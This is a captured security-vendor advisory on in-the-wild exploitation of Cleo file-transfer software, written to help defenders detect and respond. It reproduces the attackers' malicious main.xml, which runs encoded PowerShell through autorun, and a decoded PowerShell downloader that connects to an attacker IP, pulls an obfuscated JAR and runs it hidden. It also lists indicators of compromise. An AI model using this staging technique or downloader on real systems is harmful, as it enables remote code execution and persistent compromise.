www.huntress.com Open in urlscan Pro
35.152.104.113  Public Scan

Form analysis
2 forms found in the DOM

/search

<form action="/search" data-w-id="7c7a9bc1-b023-a195-d973-6be501685fa5" class="nav-search w-form" data-hs-cf-bound="true"><input class="nav-search-input w-input" autocomplete="false" maxlength="256" name="query" placeholder="Search…"
    data-w-id="7c7a9bc1-b023-a195-d973-6be501685fa6" type="search" id="search" required=""><input type="submit" class="nav-search-button w-button" value=""><img
    src="https://cdn.prod.website-files.com/6579dd0b5f9a54376d296915/6579dd0b5f9a54376d296ac3_Close%20Icon.svg" loading="lazy" data-w-id="7c7a9bc1-b023-a195-d973-6be501685fa8" alt="close icon" class="nav-search-close"></form>

POST

<form method="post" id="wf-form-Blog-Signup-Form" class="cwf-form-grid cwf-form-block embedded-code-form" data-type="custom" data-hubspot-form-id="5198e52f-a296-4d78-935d-fe864d69a67a" data-hs-cf-bound="false"
  data-wf-page-id="65f3299e49a461b4b9c729ba" data-wf-element-id="50842300-6f99-45bc-b772-62bbb79b0b81">
  <div class="cwf-wrappper comparison-cwf-wrappper">
    <div class="form-grid">
      <div class="huntress-form-group colspan-2">
        <input id="email" class="huntress-form-input w-input filter-free" name="email" required="" type="email" autocomplete="email" data-snowplow-fieldname="email" data-ignore-nb="true">
        <label for="email" class="huntress-label">Work Email*</label>
      </div>
      <div class="huntress-form-group colspan-2">
        <div class="submit-button-row">
          <div class="w-form-formrecaptcha g-recaptcha" data-theme="dark" data-sitekey="6LchEywUAAAAAAdAXlscEm7Kcb3DJ38pngRCQJsC">
            <div style="width: 304px; height: 78px;">
              <div><iframe title="reCAPTCHA" width="304" height="78" role="presentation" name="a-3cei8aq0hpag" frameborder="0" scrolling="no"
                  sandbox="allow-forms allow-popups allow-same-origin allow-scripts allow-top-navigation allow-modals allow-popups-to-escape-sandbox allow-storage-access-by-user-activation"
                  src="https://www.google.com/recaptcha/api2/anchor?ar=1&amp;k=6LchEywUAAAAAAdAXlscEm7Kcb3DJ38pngRCQJsC&amp;co=aHR0cHM6Ly93d3cuaHVudHJlc3MuY29tOjQ0Mw..&amp;hl=it&amp;v=zIriijn3uj5Vpknvt_LnfNbF&amp;theme=dark&amp;size=normal&amp;cb=9807aop58a5a"></iframe>
              </div><textarea id="g-recaptcha-response" name="g-recaptcha-response" class="g-recaptcha-response"
                style="width: 250px; height: 40px; border: 1px solid rgb(193, 193, 193); margin: 10px 25px; padding: 0px; resize: none; display: none;"></textarea>
            </div><iframe style="display: none;"></iframe>
          </div>
          <input type="submit" value="Submit" id="submitButton" data-wait="Please wait..." class="primary-button form-without-recaptcha">
        </div>
        <div class="privacy-policy"> By submitting this form, you accept our <a href="https://www.huntress.com/privacy-policy" target="_blank"><strong>Privacy Policy</strong></a>
        </div>
      </div>
    </div>
  </div>
  <input type="hidden" name="correlation_id" data-io-platform-fieldname="user[correlation_id]" data-snowplow-fieldname="correlation_id" value="1be3a706-9fdc-488e-ae5b-a810bea25e52">
</form>

Text Content

This website uses cookies to improve your viewing experience. To find out more
about the cookies we use, see our Cookie Policy.

Accept Decline


Partner Login
Search


 * Platform
   Back
   Platform
   Huntress Managed Security Platform
   
   MANAGED EDR
   
   Get full visibility, detection, and response for your endpoints.
   
   MANAGED SECURITY AWARENESS TRAINING
   
   Empower your teams with science-backed security awareness training.
   Platform Overview
   
   MANAGED ITDR
   
   Protect your Microsoft 365 identities and email environments.
   
   MANAGED SIEM
   
   Capture the data that matters while filtering out the noise.
   Platform Overview
   
   LEARN MORE
   
   Try Huntress for free and
   deploy in minutes to start
   fighting threats.
   Request a Demo
   Platform
   Back
   Huntress Managed Security Platform
   
   MANAGED EDR
   
   Get full endpoint visibility, detection, and response.
   
   MANAGED SECURITY AWARENESS TRAINING
   
   Empower your teams with science-backed security awareness training.
   Platform Overview
   
   MANAGED ITDR
   
   Protect your Microsoft 365 identities and email environments.
   
   MANAGED SIEM
   
   Capture the data that matter while filtering out the noise.
   Platform Overview
   
   LEARN MORE
   
   Try Huntress for free and
   deploy in minutes to start
   fighting threats.
   Request a Demo
 * Solutions
   Back
   About
   Solutions by Topic
   
   PHISHING
   
   COMPLIANCE
   
   BUSINESS EMAIL COMPROMISE
   
   Solutions by Industry
   
   EDUCATION
   
   
   
   FINANCE
   
   
   
   HEALTHCARE
   
   
   
   MANUFACTURING
   
   
   
   STATE & LOCAL GOVERNMENT
   
   Featured Resource
   
   HEALTHCARE CYBERSECURITY SUCCESS KIT
   
   Packed with the information, tools, and guidance you need to keep your
   organization running smoothly and, most importantly, your patients safe.
   Learn More
   Solutions
   Back
   Solutions by Topic
   
   PHISHING
   
   COMPLIANCE
   
   BUSINESS EMAIL COMPROMISE
   
   Solutions by Industry
   
   EDUCATION
   
   
   
   FINANCE
   
   
   
   HEALTHCARE
   
   
   
   MANUFACTURING
   
   
   
   STATE & LOCAL GOVERNMENT
   
   Featured Resource
   
   HEALTHCARE CYBERSECURITY SUCCESS KIT
   
   Packed with the information, tools, and guidance you need to keep your
   organization running smoothly and, most importantly, your patients safe.
   Learn More
 * Why Huntress
   Back
   Why Huntress
   Who We Serve
   
   MANAGED SERVICE PROVIDERS
   
   
   
   VALUE ADDED RESELLERS
   
   
   
   BUSINESS & IT TEAMS
   
   The Huntress Difference
   
   HUNTRESS SOC
   
   
   
   CASE STUDIES
   
   Compare Huntress
   
   BITDEFENDER
   
   BLACKPOINT
   
   CROWDSTRIKE
   
   DATTO
   
   SENTINELONE
   
   SOPHOS
   
   WEBROOT
   
   Compare All
   Why Huntress
   Back
   Who We Serve
   
   MANAGED SERVICE PROVIDERS
   
   
   
   VALUE ADDED RESELLERS
   
   
   
   BUSINESS & IT TEAMS
   
   The Huntress Difference
   
   HUNTRESS SOC
   
   
   
   CASE STUDIES
   
   Compare Huntress
   
   BITDEFENDER
   
   BLACKPOINT
   
   CROWDSTRIKE
   
   DATTO
   
   SENTINELONE
   
   SOPHOS
   
   WEBROOT
   
   Compare All
 * Resources
   Back
   Resources
   Resource Center
   
   DATASHEETS
   
   EBOOKS
   
   REPORTS
   
   ON-DEMAND WEBINARS
   
   WHITEPAPERS
   
   VIDEOS
   
   View All Resources
   
   BLOG
   
   
   
   UPCOMING EVENTS
   
   
   
   SUPPORT DOCUMENTATION
   
   
   
   INTEGRATIONS
   
   
   
   HUNTRESS HUB
   
   Produced by Huntress
   
   
   THE HUNTRESS THREAT REPORT
   
   Try Huntress for free and
   deploy in minutes to start
   fighting threats.
   Learn More
   Resources
   Back
   Resource Center
   
   DATASHEETS
   
   EBOOKS
   
   REPORTS
   
   ON-DEMAND WEBINARS
   
   WHITEPAPERS
   
   VIDEOS
   
   View All Resources
   
   BLOG
   
   
   
   UPCOMING EVENTS
   
   
   
   SUPPORT DOCUMENTATION
   
   
   
   INTEGRATIONS
   
   Produced by Huntress
   
   
   THE HUNTRESS THREAT REPORT
   
   Try Huntress for free and
   deploy in minutes to start
   fighting threats.
   Learn More
 * About
   Back
   About
   About Huntress
   
   OUR STORY
   
   
   
   LEADERSHIP
   
   
   
   LATEST NEWS
   
   
   
   AWARDS
   
   CAREERS
   
   
   
   UPCOMING EVENTS
   
   
   
   CONTACT US
   
   Featured Success Story
   
   CASCADE TECHNOLOGIES
   
   See how Cascade Technologies was notified about the presence of a remote
   access Trojan with the help of Huntress,.
   Learn More
   About
   Back
   About Huntress
   
   OUR STORY
   
   
   
   LEADERSHIP
   
   
   
   LATEST NEWS
   
   
   
   AWARDS
   
   CAREERS
   
   
   
   UPCOMING EVENTS
   
   
   
   CONTACT US
   
   Featured Success Story
   
   CASCADE TECHNOLOGIES
   
   See how Cascade Technologies was notified about the presence of a remote
   access Trojan with the help of Huntress,.
   Learn More
 * Free Trial




This is some text inside of a div block.

HomeBlog
Threat Advisory: Oh No Cleo! Cleo Software Actively Being Exploited in the Wild
December 9, 2024


THREAT ADVISORY: OH NO CLEO! CLEO SOFTWARE ACTIVELY BEING EXPLOITED IN THE WILD


By:
Team Huntress
|
Contributors:
Special thanks to our Contributors:
John Hammond




CVE-2024-55956 SUMMARY

On December 3, Huntress identified an emerging threat involving Cleo’s LexiCom,
VLTransfer, and Harmony software, commonly used to manage file transfers. We’ve
directly observed evidence of threat actors exploiting this software en masse
and performing post-exploitation activity. Although Cleo published an update and
advisory for CVE-2024-50623—which allows unauthenticated remote code
execution—Huntress security researchers have recreated the proof of concept and
learned the patch does not mitigate the software flaw.

‍TL;DR - This vulnerability is being actively exploited in the wild and fully
patched systems running 5.8.0.21 are still exploitable. We strongly recommend
you move any internet-exposed Cleo systems behind a firewall until a new patch
is released.

Based on our analysis, all versions prior to and including 5.8.0.21 are
vulnerable:

 * Cleo Harmony® (5.8.0.21)
 * Cleo VLTrader® (5.8.0.21)
 * Cleo LexiCom® (5.8.0.21)

Our team is working to reach the Cleo team to report our findings and develop a
new patch to fully mitigate exploitation. This blog will be frequently updated
as more details emerge.


TRADECRAFT WE OBSERVED

The three software solutions Harmony, VLTrader, and LexiCom are often installed
in the root of the filesystem, as the suggested default in their installation
process:

C:\LexiCom

C:\VLTrader

C:\Harmony


We have also observed installation folders in the typical C:\Program Files (x86)
directory. Inside the installation folder are numerous subdirectories, with some
more pertinent to the tradecraft than others:

logs\

host\

autorun\

(etc.)

As an example, we would find logs in a full path: C:\LexiCom\logs\LexiCom.xml.
Below is a record of the logs following threat actor exploitation:

This file contains bidirectional Unicode text that may be interpreted or
compiled differently than what appears below. To review, open the file in an
editor that reveals hidden Unicode characters. Learn more about bidirectional
Unicode characters
Show hidden characters

<Event> <Detail level="0">Note: Processing autorun file
'autorun\healthchecktemplate.txt'.</Detail> <Mark date="2024/12/07 05:56:55"
EN="18734"></Mark></Event> <Event> <Detail level="0" color="orange">Warning:
LexiCom is version 5.8.0.0, but importing files from a VersaLex with an unknown
version.</Detail> <Mark date="2024/12/07 05:56:56" EN="18735"></Mark></Event>
<Event> <Detail level="0">Note: Import started for
'temp\LexiCom6836057879780436035.tmp'.</Detail> <Mark date="2024/12/07 05:56:56"
EN="18736"></Mark></Event> <Event> <Detail level="0">Note: Importing
'hosts\main.xml' (4.533 kBytes)...</Detail> <Mark date="2024/12/07 05:56:56"
EN="18737"></Mark></Event> <Event> <Detail level="0">Note: Import
complete.</Detail> <Mark date="2024/12/07 05:56:56" EN="18738"></Mark></Event>
<Event> <Detail level="0">Note: Processing autorun file
'autorun\healthcheck.txt'.</Detail> <Mark date="2024/12/07 05:57:00"
EN="18739"></Mark></Event> <Event> <Thread type="AutoRun"
action="&lt;b669a896-bffd-442a-8947-e43f32e7baf6&gt;8fe14438-e87e-4143-9aa8-ff7c98433159@60282967-dc91-40ef-a34c-38e992509c2c"
actionId="[REDACTED]" connectionId="[REDACTED]"></Thread> <Mark date="2024/12/07
05:57:00" TN="8072" EN="18740"></Mark></Event> <Event> <Command text="SYSTEM
cmd.exe /c &quot;powershell -NonInteractive -EncodedCommand ...==&quot; &gt;
webserver/temp/webserver-873d85ca-78ed-46ca-bbd6-fd3193c7c780.swp" type="System"
line="1"></Command> <Mark date="2024/12/07 05:57:00" TN="8072" CN="1"
EN="18741"></Mark></Event> <Event> <Detail level="1">Executing 'cmd.exe /c
"powershell -NonInteractive -EncodedCommand ...==" &gt;
webserver/temp/webserver-873d85ca-78ed-46ca-bbd6-fd3193c7c780.swp'; successful
return status is '0'; waiting for process to complete...</Detail> <Mark
date="2024/12/07 05:57:00" TN="8072" CN="1" EN="18742"></Mark></Event> <Event>
<Result text="Error" command="SYSTEM cmd.exe /c &quot;powershell -NonInteractive
-EncodedCommand ...==&quot; &gt;
webserver/temp/webserver-873d85ca-78ed-46ca-bbd6-fd3193c7c780.swp" line="1"
runtype="AutoRun">Return status=1</Result> <Mark date="2024/12/07 05:57:00"
TN="8072" CN="1" EN="18743"></Mark></Event> <Event> <End></End> <Mark
date="2024/12/07 05:57:00" TN="8072" EN="18744"></Mark></Event>

view raw LexiCom.xml hosted with ❤ by GitHub

There are multiple things to note in this log snippet:

 1. The first artifact of the attack chain is autorun\healthchecktemplate.txt.
    
    Autorun files are immediately read, interpreted, and evaluated by LexiCom,
    Harmony, and VLTrader. We believe this is one of multiple files dropped onto
    the filesystem via the arbitrary file-write vulnerability. Files placed in
    the autorun folder are immediately deleted following their processing. Note:
    We have also seen autorun\healthcheck.txt used as well.
    ‍
 2. A “Warning” on the second entry indicates this instance is running version
    5.8.0.0, which is the unpatched version. Our proof of concept, which we will
    discuss below, successfully exploits version 5.8.0.21.
    
    
 3. The healthchecktemplate.txt autorun looks to invoke “Import” functionality,
    which is native and natural functionality of the Cleo software.
    
    The Import process reads in from a local file on disk. In this case, it
    loads temp\LexiCom6836057879780436035.tmp, which we believe to be a second
    file dropped via the arbitrary file-write vulnerability. This .tmp file is
    actually a .ZIP file, containing a subdirectory hosts with an inner main.xml
    file, as you see imported.
    
    The main.xml file observed from in-the-wild exploitation contains:

This file contains bidirectional Unicode text that may be interpreted or
compiled differently than what appears below. To review, open the file in an
editor that reveals hidden Unicode characters. Learn more about bidirectional
Unicode characters
Show hidden characters

<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Host
alias="60282967-dc91-40ef-a34c-38e992509c2c" application="" by="Administrator"
class="*CwwQNwwbER4SEhA8Ex4cEDNRQQwRBwsbGk5TEQdOEAUWTkM*" created="2020/10/10
00:00:00" enabled="True" enc="33f29dae-04d5-4bdc-85c7-d1933ffa57e8" local="True"
modevent="Modified" modified="2020/10/10 00:00:00"
moditem="&lt;copy&gt;myCommands@Local Commands" modtype="Actions"
preconfigured="2009/10/30 15:15" ready="True" serial="" standaloneaction="False"
test="False" transport="" type="" uid="[REDACTED]" version="1">
<Connecttype>0</Connecttype> <Inbox>inbox\</Inbox> <Index>0</Index>
<Indexdate>-1</Indexdate> <Internal>0</Internal> <Notes>This contains mailboxes
for a local host which can be used for local commands only.</Notes>
<Origin>Local Commands</Origin> <Outbox>outbox\</Outbox> <Port>0</Port>
<Runninglocalrequired>True</Runninglocalrequired>
<Secureportrequired>False</Secureportrequired> <Uidswpd>True</Uidswpd>
<Advanced>ZipCompressionLevel=System Default</Advanced>
<Advanced>XMLEncryptionAlgorithm=System Default</Advanced>
<Advanced>HighPriorityIncomingWeight=10</Advanced>
<Advanced>PGPHashAlgorithm=System Default</Advanced>
<Advanced>HighPriorityOutgoingWeight=10</Advanced>
<Advanced>PGPCompressionAlgorithm=System Default</Advanced>
<Advanced>OutboxSort=System Default</Advanced>
<Advanced>PGPEncryptionAlgorithm=System Default</Advanced> <Mailbox
alias="8fe14438-e87e-4143-9aa8-ff7c98433159"
class="*BxAdExYeMgwbER4SEhA8Ex4cEDNR" created="2020/10/10 00:00:00"
enabled="True" localdecryptcert="" localencryptcert="" localpackaging="None"
partnerdecryptcert="" partnerdecryptpassword="" partnerencryptcert=""
partnerpackaging="None" ready="True" uid="d5926be7-a332-11ef" version="1">
<Action actiontype="Commands" alias="b669a896-bffd-442a-8947-e43f32e7baf6"
by="Administrator" class="*ERAWCxw+DBsRHhISEDwTHhwQM1E*" created="2020/10/10
00:00:00" enabled="True" modified="2020/10/10 00:00:00" ready="True" serial=""
uid="[REDACTED]" version="2"> <Autostartup>False</Autostartup> <Commands>SYSTEM
cmd.exe /c "powershell -NonInteractive -EncodedCommand
[TRUNCATED-ENCODED-BASE64]" >
webserver/temp/webserver-06db3bfb-2d6a-4aa6-a465-fe111af2da65.swp</Commands>
<Filesin>0</Filesin> <Filesout>0</Filesout> <Ssl>False</Ssl> </Action>
</Mailbox> </Host>

view raw main.xml hosted with ❤ by GitHub

Note the specific (and mischievous) date and timestamps: 2020/10/10 00:00:00 😉

This main.xml file stages a new autorun with an action (presumably built out to
be healthcheck.txt) to invoke a PowerShell command and gain code execution.
Unfortunately, the healthchecktemplate.txt and healthcheck.txt files placed in
the autoruns subdirectory were automatically deleted and we do not yet know
their contents.


Figure 1: Exploitation as displayed within one of the Cleo software solutions

‍

The decoded PowerShell command has been observed with this structure:

This file contains bidirectional Unicode text that may be interpreted or
compiled differently than what appears below. To review, open the file in an
editor that reveals hidden Unicode characters. Learn more about bidirectional
Unicode characters
Show hidden characters

$c=New-Object Net.Sockets.TcpClient("176.123.5.126", 443) $s=$c.GetStream()
$s.ReadTimeout=10000 $w=New-Object System.IO.StreamWriter $s
$w.WriteLine("<REDACTED>") $w.Flush()
$k=230,138,243,249,58,71,124,248,70,85,183,204,191,63,204,3 $a=New-Object
System.Byte[] 9999 $f="cleo.4492" $t=New-Object IO.FileStream($f,
[IO.FileMode]::Create) $n=$g=0 while(1){$r=$s.Read($a,0,9999) if($r -le
0){break} for($i=0;$i -lt $r;$i++){$j=$n++ -band 15 $a[$i]=$a[$i] -bxor $k[$j]
-bxor $g $g=($g+$a[$i]) -band 255 $k[$j]=($k[$j]+3) -band 255}
$t.Write($a,0,$r)} $t.Close() $w.Close() $s.Close()
$env:QUERY="<REDACTED-IDENTIFIER>" $env:F=$f Start-Process -WindowStyle Hidden
-FilePath jre\bin\java.exe -ArgumentList "-jar $f"

view raw decoded_powershell_encoded_command.ps1 hosted with ❤ by GitHub

This process reaches out to an external IP address to retrieve new JAR files for
continued post-exploitation. These JAR files contain webshell-like functionality
for persistence on the endpoint. 

We observed attackers later deleting these JAR files post-execution in order to
prolong their attacks and stay relatively stealthy.

Also within the same logs folder, there may be a LexiCom.dbg log file. It will
also contain information about any malicious autoruns files that have been
processed, like so:‍

[timestamp] LexiCom.syncer [redacted] Request In <<< Multipart:
 VLSync:SentReceipt;service=AS2;path="autorun/healthchecktemplate.txt"


For further post-exploitation, the threat actors were observed enumerating
potential Active Directory assets with domain reconnaissance tools like
nltest.exe.

Huntress EDR depicts this child-parent process relationship like so:


Figure 2: Parent-child process relationship between nltest.exe

‍


OBSERVED IP ADDRESSES FOR CALLBACKS


176.123.5.126 - AS 200019 (AlexHost SRL) - Moldova 

5.149.249.226 - AS 59711 (HZ Hosting Ltd) - Netherlands 

185.181.230.103 - AS 60602 (Inovare-Prim SRL) - Moldova

209.127.12.38 - AS 55286 (SERVER-MANIA / B2 Net Solutions Inc) - Canada

181.214.147.164 - AS 15440 (UAB Baltnetos komunikacijos) - Lithuania‍

192.119.99.42  - AS 54290 (HOSTWINDS LLC) - United States

‍


TARGETS EXPLOITED

From our telemetry, we’ve discovered at least 10 businesses whose Cleo servers
were compromised with a notable uptick in exploitation observed on December 8
around 07:00 UTC.  After some initial analysis, however, we have found evidence
of exploitation as early as December 3. 

The majority of customers that we saw compromised deal with consumer products,
food industry, trucking, and shipping industries. There are still several other
companies outside of our immediate view who are potentially compromised as well.


Figure 3: View of vulnerable Cleo server as seen on Shodan

‍


THE HUNTRESS PROOF OF CONCEPT

Huntress communicated with Cleo on December 9 after creating our proof of
concept. Over a Zoom call, they confirmed our understanding and the recreation
of the attack chain. 

Principal Security Researcher Caleb Stewart crafted a Python script that
leverages the arbitrary file-write primitive to place files inside the autoruns
subdirectory and prove its execution. This was tested successfully against
LexiCom as well as VLTrader with both versions 5.8.0.0 and patched version
5.8.0.21.



At the time of writing, Cleo is preparing a new CVE designation and expects a
new patch to be released mid-week. 

‍


HOW TO STAY PROTECTED

At the time of writing, the 5.8.0.21 patched versions are insufficient against
the exploit we are seeing in the wild. Speaking over a Zoom call, Cleo expressed
that they will have a new patch available as soon as possible.

In the interim, we have suggested mitigations in an attempt to limit the attack
surface. Knowing that the latter half of this attack path relies on code
execution via the autoruns directory, it is possible to reconfigure Cleo
software to disable this feature. However, this will not prevent the arbitrary
file-write vulnerability until a patch is released.

 1. Got to the “Configure” menu of LexiCom, Harmony, or VLTrader
 2. Select “Options” 
 3. Navigate to the “Other” pane
 4. Delete the contents of the “Autorun Directory” field

This will remove the ability to process Autorun files. Please apply your own
risk and threat model here -- your mileage may vary if you know that you use
this feature in production.


Figure 4: Cleo Harmony System Options showing the Autorun Directory option

‍

If you are not a Huntress partner, review the hosts subdirectory in your
software installation directory to determine if you have been affected. The
presence of a main.xml or a 60282967-dc91-40ef-a34c-38e992509c2c.xml file (a
name that looks to be reused across infections) with an embedded
PowerShell-encoded command is a definitive indicator of compromise. 

‍


HOW HUNTRESS HAS RESPONDED 

We are actively detecting and neutralizing activity related to the exploit. To
do so, we have taken a three-pronged approach to effectively detect,
investigate, and respond to the threat.  

Huntress SOC analysts Austin Worline, Chad Hudson, Jai Minton, andTanner Filip
created detections specifically conjured to hone in on and detect the activity
triggered by the range of compromised Cleo products.  


Figure 5: Cleo Detection in Huntress EDR

‍

In tandem, Huntress analyst Amelia Casley generated an internal investigation
guide to ensure that the global Huntress SOC team could triage this emerging
threat in a scalable and consistent way to keep our community secure. This guide
included a reusable CyberChef recipe to analyze the encoded PowerShell
adversaries were deploying. 


Figure 6: Extract of Huntress SOC Investigation Guide

Figure 7: CyberChef recipe

‍

Furthermore, Huntress neutralized this threat where it appeared on endpoints by
leveraging the IP Blocking feature in Huntress Managed EDR. IP blocking adds a
degree of cost to a threat actor, requiring them to rotate their infrastructure
in order to reattempt a compromise. Once completed, we shared a detailed report
with any impacted partners and customers. 


Figure 8: Blocking Threat actor IPv4s on hosts subject to attempted compromises

‍


APPENDIX A: 


SIGMA RULES

 * ‍Possible Cleo MFT Exploitation 2024‍
 * Javaw Spawning Suspicious PowerShell 

‍


APPENDIX B:


INDICATORS OF COMPROMISE (IOCS)

Item Details

176.123.5.126

Attacker IP embedded in encoded PowerShell

5.149.249.226

Attacker IP embedded in encoded PowerShell

185.181.230.103

Attacker IP embedded in encoded PowerShell

209.127.12.38

Attacker IP embedded in encoded PowerShell

181.214.147.164

Attacker IP embedded in encoded PowerShell

192.119.99.42

Attacker IP embedded in encoded PowerShell

60282967-dc91-40ef-a34c-38e992509c2c.xml

Standard XML file to prepare post-exploitation

healthchecktemplate.txt or healthcheck.txt

Malicious autoruns files

‍


ACKNOWLEDGMENTS

‍Special thanks to Jai Minton, Tanner Filip, Dray Agha, Austin Worline, Chad
Hudson, Amelia Casley, Jamie Levy, John Hammond, Caleb Stewart, Matt Kiely, Matt
Anderson, and others for their tireless efforts and contributions to this
investigation and writeup.

‍







Call to Action


Categories

Response to Incidents

SEE HUNTRESS IN ACTION


Our platform combines a suite of powerful managed detection and response tools
for endpoints and Microsoft 365 identities, science-backed security awareness
training, and the expertise of our 24/7 Security Operations Center (SOC).

Book a Demo
Share



YOU MIGHT ALSO LIKE



SLASHANDGRAB: THE CONNECTWISE SCREENCONNECT VULNERABILITY EXPLAINED



Learn More

OH NO CLEO! MALICHUS IMPLANT MALWARE ANALYSIS



Learn More

QAKBOT MALWARE TAKEDOWN AND DEFENDING FORWARD



Learn More

FROM MANDATES TO ASSURANCE: HOW MANAGED SIEM HELPS DECODE COMPLIANCE ACROSS THE
GLOBE



Learn More

SLASHANDGRAB: THE CONNECTWISE SCREENCONNECT VULNERABILITY EXPLAINED



Learn More

FIRST, DO NO HARM: WHEN AND WHERE SIEM FITS IN HEALTHCARE IT SETTINGS



Learn More

ANALYZING INITIAL ACCESS ACROSS TODAY'S BUSINESS ENVIRONMENT



Learn More

YOU CAN RUN, BUT YOU CAN’T HIDE: DEFENDER EXCLUSIONS



Learn More

CURLING FOR DATA: A DIVE INTO A THREAT ACTOR'S MALICIOUS TTPS

Huntress analysts recently observed a novel set of tactics, techniques, and
procedures used by a threat actor for data collection and exfiltration.

Learn More


SIGN UP FOR BLOG UPDATES

Subscribe today and you’ll be the first to know when new content hits the blog.

Work Email*
By submitting this form, you accept our Privacy Policy
Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.
This form requires javaScript to be enabled.

Response to Incidents
Response to Incidents

PLATFORM

Huntress Managed Security PlatformManaged EDRManaged EDR for macOSManaged
ITDRManaged SIEMManaged Security Awareness TrainingBook A Demo

SOLUTIONS

PhishingComplianceBusiness Email
CompromiseEducationFinanceHealthcareManufacturingState & Local Government

WHY HUNTRESS?

Managed Service ProvidersValue Added ResellersBusiness & IT Teams24/7 SOCCase
Studies

RESOURCES

Resource CenterBlogUpcoming EventsSupport Documentation

ABOUT

Our CompanyLeadershipNews & PressCareersContact Us

© 2024 Huntress All Rights Reserved.
Privacy Policy
|
Cookie Policy
|
Terms of Use
Free Trial